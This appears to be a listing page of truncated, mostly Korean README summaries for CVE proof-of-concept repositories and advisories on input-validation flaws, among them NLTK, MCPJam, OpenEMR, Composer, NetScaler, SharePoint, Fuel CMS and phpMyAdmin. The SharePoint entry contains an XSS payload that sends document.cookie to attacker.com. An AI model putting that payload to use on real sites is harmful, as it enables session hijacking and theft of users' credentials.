CVE-2026-0848-PoC-Improper-Input-Validation

CVE-2026-0848 - NLTK StanfordSegmenter RCE PoC ⚠️ 경고 이 코드는 시스템에서 임의의 명령을 실행합니다. 격리된 가상 머신 또는 컨테이너에서만 사용하세요. 설명 CVE-2026-0848에 대한 기능적 PoC입니다. 악성 JAR 파일이 NLTK에 의해 로드될 때 임의의 코드를 실행할 수 있는 방법을 보여줍니다. 요구 사항 Python 3.8+ Java JDK 8+ payload 컴파일용 NLTK 3.9.2 자동으로 설치됨 설치 및 실행 클론 git clone...

CVE-2026-23744-POC

설명 이 취약점은 MCPJam Inspector가 디버깅 및 개발용으로 설계된 내부 API 엔드포인트를 노출하기 때문에 존재합니다. 이러한 엔드포인트는 사용자 제어 입력을 수락하고 적절한 검증이나 삭제 없이 이를 시스템 수준 프로세스 실행에 직접 전달합니다. 취약한 엔드포인트/api/mcp/connect에 조작된 요청을 전송함으로써, 공격자는 serverConfig 객체를 제어하고 호스트에서 실행할 임의의 명령을 지정할 수 있습니다. 애플리케이션은 사용자 입력을 기반으로 프로세스를 생성하고 이를 유효한 MCP 서버로 취급하려고...

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187 - 새 검색 팝업의 SQL 인젝션 취약점 약점 CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중화 'SQL 인젝션' 제품은 상위 구성 요소로부터 외부의 영향을 받는 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 보낼 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중화하지 않거나 잘못 중화합니다. 사용자가 제어할 수 있는 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Composer Perforce 저장소 원격 코드 실행 RCE 📋 요약 Composer의 Perforce 저장소 드라이버에서 저장소 URL 처리 시 입력 검증 부족으로 인해 원격 코드 실행RCE을 허용하는 명령 주입 취약점 🎯 취약점 세부 정보 속성| 값 ---|--- CVE ID| CVE-2026-40176 영향을 받는 버전| Composer getUser . ' '; if $useClient $p4Command .= '-c ' . $this-getClient . ' '; $p4Command .=...

CVE-2025-31980

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2026-3055

CVE-2026-3055 - 보안 취약점 심각도: N/A CVSS: N/A 영향: N/A 게시일: 2026-03-23 법적 고지 승인된 보안 테스트에만 사용하십시오. 근본 원인요약 SAML IDP로 구성된 NetScaler ADC 및 NetScaler Gateway에서 입력 검증이 불충분하여 메모리 과다 읽기memory overread가 발생합니다. 악용 요건 도달 가능한 취약한 대상 예측 가능한 사용자/워크플로우 컨텍스트 조작된 요청을 차단하는 추가 보안 강화 조치가 없을 것 사용 방법 python3 exploit.py...

CVE-2026-20404-MediaTek-modem-remote-DoS-rogue-base-station-scenario-

CVE-2026-20404-MediaTek-모뎀-원격-DoS-악성-기지국-시나리오- MediaTek 모뎀의 입력 검증 문제로 인해, 사용자 상호작용 없이 공격자가 제어하는 악성 기지국에 UE가 연결될 때 시스템 충돌원격 DoS이 발생할 수 있습니다. 제공된 check.sh 코드는 다음 용도로 사용됩니다: 1. 영향을 받는 칩/기기 식별 2. 패치 수준/게시판 적용 여부 확인 3. 위협 모델 문서화가용성 영향, 악성 BTS 전제 조건 실행 방법 - bash ./check.sh 분석 이 결함은 모뎀 펌웨어의 메시지 처리 루틴에...

exploit_cms_fuel

Fuel CMS 1.4.1 - 원격 코드 실행 RCE 익스플로잇 이 저장소는 Fuel CMS 버전 1.4.1 에 대한 익스플로잇의 Python 3 구현을 포함합니다. 이 스크립트는 CVE-2018-16763 을 활용하며, 이 취약점은 filter 및 preview 매개변수의 부적절한 입력 검증으로 인해 PHP 코드 평가 및 사전 인증 원격 코드 실행이 가능합니다. ⚠️ 면책 조항 이 도구는 교육 목적과 승인된 침투 테스트 전용입니다. 명시적 허가 없이 시스템에 대해 실행하는 것은 불법입니다. 🛠 기능 Python 3 최적화: 최...

CVE-2026-32201-exploit

개요 CVE-2026-32201에 대한 Python 익스플로잇 - Microsoft SharePoint Server의 부적절한 입력 검증으로, 인증되지 않은 네트워크 스푸핑을 허용합니다 C:L/I:L. 영향 대상: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 출력 예시: + SharePoint 감지됨...

cve-2026-13934

CVE-2026-13934 작업 프로젝트 저장소입니다. 조사·분석·작업·보고서를 한 레포에서 다룹니다 D088/D091. 이 파일은 레포·보드 진입 문서 입니다. 폴더·산출물 규약 전문은 docs/conventions.md를 보세요. 본문현황·결론·링크은 보고서report 항목이 승격할 때 갱신합니다. 조사·분석·작업 에이전트는 루트 README를 수정하지 않습니다. 한 줄 요약 : Google Chrome의 WebGPU 구현체 Dawn 이 YCbCr 샘플러 생성 시 Vulkan 규격이 요구하는 파라미터 제약을 검사하지 않아,...

EUVD-2025-211022

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-31980 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-31980

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability. This flaw could allow an attacker to inject unvalidated, malformed data into the application, potentially leading to injection attacks or causing errors in downstream processing systems . No specific affected...

CVE-2025-31980 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 명령 주입 RCE PoC CVE-2025-54123 - Hoverfly의 미들웨어 명령 주입 📌 CVE 세부 정보 ID : CVE-2025-54123 유형 : 명령 주입 / 원격 코드 실행 RCE 공급업체 : Hoverfly 영향 : 인증된 공격자가 미들웨어 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 영향받는 버전 : Hoverfly ≤ 1.11.3 추가 정보 : GHSA-r4h8-hfp2-ggmf NVD:...

CVE-2025-20393

CVE-2025-20393 📌 개요 CVE-2025-20393 은 Cisco AsyncOS 를 실행하는 Cisco Secure Email Gateway SEG 및 Cisco Secure Email and Web Manager SEWM 어플라이언스에 영향을 미치는 치명적인 원격 명령 실행RCE 취약점입니다. 이 취약점은 Spam Quarantine스팸 격리 기능의 잘못된 입력 검증 으로 인해 발생합니다. 인증되지 않은 원격 공격자 가 조작된 HTTP 요청을 전송하여 이 결함을 악용할 수 있으며, 이로 인해 루트 권한으로 임의 명...

exploit_cve-2007-2447_again

exploitcve-2007-2447again 사용자 이름을 적절히 검증하지 않는 작은 실수가 전체 머신에 대한 루트 액세스를 줄 수 있다는 것을 기억하세요...

CVE-2014-9219

CVE-2014-9219 CVE-2014-9219 XSS POC 개요 이 취약점은 phpMyAdmin 4.2.x4.2.13.1 이전의 url.php에 있는 리디렉션 기능에서 url 매개변수를 처리할 때 발생하는 입력 검증 오류로 인해 발생합니다. 원격 공격자는 피해자를 속여 특수하게 조작된 링크를 따라가게 하고, 취약한 웹사이트의 보안 컨텍스트에서 피해자 브라우저에 임의의 HTML 및 스크립트 코드를 실행할 수 있습니다. 영향을 받는 버전 phpMyAdmin: 4.2.0 - 4.2.13 문제 취약한 코드는 URL 매개변수를...

CVE-2025-60012-POC

교육 및 보안 연구 목적으로만 사용하십시오. 귀하가 소유하지 않거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. →전체 면책 조항 CVE-2025-60012 — Apache Livy 무단 파일 접근 -yellow 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2025-60012 심각도| 중간 CVSS 6.3 영향을 받는 버전| Apache Livy 0.7.0-incubating, 0.8.0-incubating — Apache Spark 3.1 이상에 연결된 경우 수정 버전| Apache...

CVE-2020-10128

CVE-2020-10128 - SearchBlox 제품 V-9.2.1 이전 버전은 저장형 크로스 사이트 스크립팅에 취약합니다 제품 설명: SearchBlox는 복잡한 조직을 위한 엔터프라이즈 검색을 간소화합니다. SearchBlox의 직관적이고 지능적인 도구는 즉시 사용 가능한 설정, 안전한 암호화, 낮은 총 소유 비용을 제공합니다. AI 기반 솔루션은 검색 여정의 각 단계를 최적화하여 참여도를 극적으로 향상시킵니다. SearchBlox는 금융 서비스, 의료 및 정부 분야의 리더들에게 쉬운 선택입니다. 설명: 버전 9.2.1...